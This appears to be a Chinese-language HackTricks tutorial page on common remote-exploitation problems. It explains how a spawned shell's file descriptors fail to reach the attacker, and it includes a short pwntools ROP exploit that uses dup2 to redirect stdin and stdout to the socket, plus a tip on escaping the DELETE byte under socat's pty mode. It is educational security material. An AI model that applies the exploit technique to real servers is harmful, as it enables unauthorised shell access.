mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
3.6 KiB
3.6 KiB
常见的利用问题
{% hint style="success" %}
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
远程利用中的 FD
当向远程服务器发送一个利用,例如调用 system('/bin/sh')
时,这将在服务器进程中执行,并且 /bin/sh
将期望从 stdin (FD: 0
) 接收输入,并将输出打印到 stdout 和 stderr (FDs 1
和 2
)。因此,攻击者将无法与 shell 进行交互。
解决此问题的一种方法是假设服务器启动时创建了 FD 编号 3
(用于监听),然后,您的连接将位于 FD 编号 4
。因此,可以使用系统调用 dup2
将 stdin (FD 0) 和 stdout (FD 1) 复制到 FD 4(攻击者的连接)中,这样在执行时就可以与 shell 进行联系。
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
注意,socat 已经将 stdin
和 stdout
转发到套接字。然而,pty
模式 包含 DELETE 字符。因此,如果你发送 \x7f
( DELETE
-),它将 删除你利用的前一个字符。
为了绕过这个问题,必须在发送的任何 \x7f
前加上转义字符 \x16
。
在这里你可以 找到这个行为的示例。
{% hint style="success" %}
学习和实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 telegram 群组 或 在 Twitter 🐦 @hacktricks_live** 上关注我们。**
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。